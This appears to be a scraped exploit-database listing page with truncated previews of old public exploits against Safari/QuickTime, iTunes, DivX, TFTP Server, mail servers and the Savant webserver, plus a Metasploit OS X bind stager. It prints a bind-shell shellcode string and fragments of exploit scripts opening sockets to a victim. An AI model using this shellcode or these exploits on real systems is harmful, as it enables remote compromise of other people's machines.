quickbite.pl.txt

!/usr/bin/perl quickbite.pl Safari + Quicktime 8080; $shellcode = "%uc031%u6850%u02ff%u5c11%ue789%u6a50%u6a01%u6a02%ub010%ucd61%u5780%u5050%u686a%ucd58%u8980%uec47%u6ab0%u80cd%u1eb0%u80cd%u5050%u5a6a%ucd58%uff80%ue44f%uf679%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u5454%u5053%u3bb0%u80cd"; $buf ...

Safari + Quicktime <= 7.3 RTSP Content-Type Remote BOF Exploit

No description provided by source. !/usr/bin/perl quickbite.pl Safari + Quicktime = 7.3 RTSP Content-Type overflow exploit for Mac OS X Intel Tested with OS X 10.4. On victim, browse to http://server:8080/ Binds shell on port 4444. by krafty greets to sk, halvar, grugq, and all the ethnical hacke...

Apple iTunes Playlist Local Parsing Buffer Overflow Exploit

No description provided by source. / PoC for iTunes on OS X 10.3.7 - [email protected] - Generates a .pls file, when loaded in iTunes it binds a shell to port 4444. Shellcode contains no \x00 or \x0a's. sample output: -nemo@gir:$ ./fm-eyetewnz foo.pls - fm-eyetewnz - - [email protected] -...

Apple Safari QuickTime 7.3 - RTSP Content-Type Remote Buffer Overflow

Apple Safari QuickTime 7.3 - RTSP Content-Type Remote Buffer Overflow !/usr/bin/perl quickbite.pl Safari + Quicktime 8080; $shellcode =...

Kantaris 0.3.4 SSA Subtitle Local Buffer Overflow Exploit

No description provided by source. !/usr/bin/python Kantaris 0.3.4 Media Player Local Buffer Overflow 0day! The following exploit will make a film.ssa file, just rename the file with the name of your movie, and use your imagination to pwn! : Shellcode is local bind shell, just telnet to port:4444...

Kantaris 0.3.4 - SSA Subtitle Local Buffer Overflow

!/usr/bin/python Kantaris 0.3.4 Media Player Local Buffer Overflow 0day! The following exploit will make a film.ssa file, just rename the file with the name of your movie, and use your imagination to pwn! : Shellcode is local bind shell, just telnet to port:4444 to get command prompt : BIG thanks...

DivX Player 6.6.0 - .srt File Buffer Overflow (SEH)

DivX Player 6.6.0 - .srt File Buffer Overflow SEH !/usr/bin/python DivX 6.6 SRT SEH overwrite PoC Tested on XP SP2 Coded by Mati Aharoni, aka muts and Chris Hadnagy, aka loganWHD muts..at..offensive-security...dot..com chris..at..offensive-security...dot..com...

DivX Player 6.6.0 SRT File SEH Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ====================================================== DivX Player 6.6.0 SRT File SEH Buffer Overflow Exploit ====================================================== !/usr/bin/python DivX 6.6 SRT SEH overwrite PoC Tested on XP SP2 Coded by Ma...

TFTP Server for Windows 1.4 ST Buffer Overflow Exploit (0day)

No description provided by source. !/usr/bin/python TFTP Server for Windows V1.4 ST 0day http://sourceforge.net/projects/tftp-server/ Tested on Windows Vista SP0. Coded by Mati Aharoni muts..at..offensive-security.com http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt...

TFTP Server 1.4 - ST Buffer Overflow

TFTP Server 1.4 - ST Buffer Overflow !/usr/bin/python TFTP Server for Windows V1.4 ST 0day http://sourceforge.net/projects/tftp-server/ Tested on Windows Vista SP0. Coded by Mati Aharoni muts..at..offensive-security.com http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt bt...

TFTP Server for Windows 1.4 ST Buffer Overflow Exploit (0day)

Exploit for unknown platform in category remote exploits ============================================================= TFTP Server for Windows 1.4 ST Buffer Overflow Exploit 0day ============================================================= !/usr/bin/python TFTP Server for Windows V1.4 ST 0day...

NetWin Surgemail 3.8k4-4 - IMAP (Authenticated) Remote LIST Universal

NetWin Surgemail 3.8k4-4 - IMAP Authenticated Remote LIST Universal !/usr/bin/python NetWin Surgemail 0DAY IMAP POST AUTH Remote LIST Universal Exploit Discovered and coded by Matteo Memelli aka ryujin http://www.gray-world.net http://www.be4mind.com Affected Versions : Version 3.8k4-4 Windows...

MailEnable ProfessionalEnterprise 3.13 - Fetch (Authenticated) Remote Buffer Overflow

MailEnable ProfessionalEnterprise 3.13 - Fetch Authenticated Remote Buffer Overflow !/usr/bin/perl ================================================================= MailEnable Professional gmail.com 10.3.2008 ..enjoy!: ================================================================= use...

PHP <= 4.4.0 (mysql_connect function) Local Buffer Overflow Exploit

No description provided by source. ?php / This exploit was designed to work with PHP versions 4.3.10 and 4.4.0 under Windows XP SP 1. If another operating system is used, the replacement EIP must be changed. The replacement EIP is written 261 bytes into our string. For this exploit, I used a CALL...

OS X Write and Execute Binary, Bind TCP Stager

Spawn a command shell staged. Listen for a connection This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework BindTcp ------- OSX bind TCP stager. module MetasploitModule CachedSize = 248 include Msf::Payload::Stager def...

Mercury32 Mail Server 3.32 4.51 - SMTP EIP Overwrite

Mercury32 Mail Server 3.32 4.51 - SMTP EIP Overwrite / Dreatica-FXP crew ---------------------------------------- Target : Mercury/32 SMTP Server Found by : [email protected], http://www.offensive-security.com ---------------------------------------- Exploit : Mercury/32 v3.32-v4.51 SMT...

Mercury/32 Mail Server 3.32 < 4.51 - SMTP EIP Overwrite

/ Dreatica-FXP crew ---------------------------------------- Target : Mercury/32 SMTP Server Found by : [email protected], http://www.offensive-security.com ---------------------------------------- Exploit : Mercury/32 v3.32-v4.51 SMTP Pre-Auth EIP overwrite exploit Exploit date :...

CVE-2007-4444

CVE-2007-4444 involves multiple buffer overflows in Image Space rFactor 1.250 and earlier. The issue allows remote attackers to execute arbitrary code by sending a UDP packet to port 34297 with ID 0x80 or 0x88, related to the buffer containing the server version number. Affected software: Image S...

savant-overflow.txt

!/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "can't conne...

Savant 3.1 Get Request Remote Overflow Exploit (Universal)

No description provided by source. !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl victim port\n\n"; exit; $victim = IO::Socket::INET-newProto='tcp',...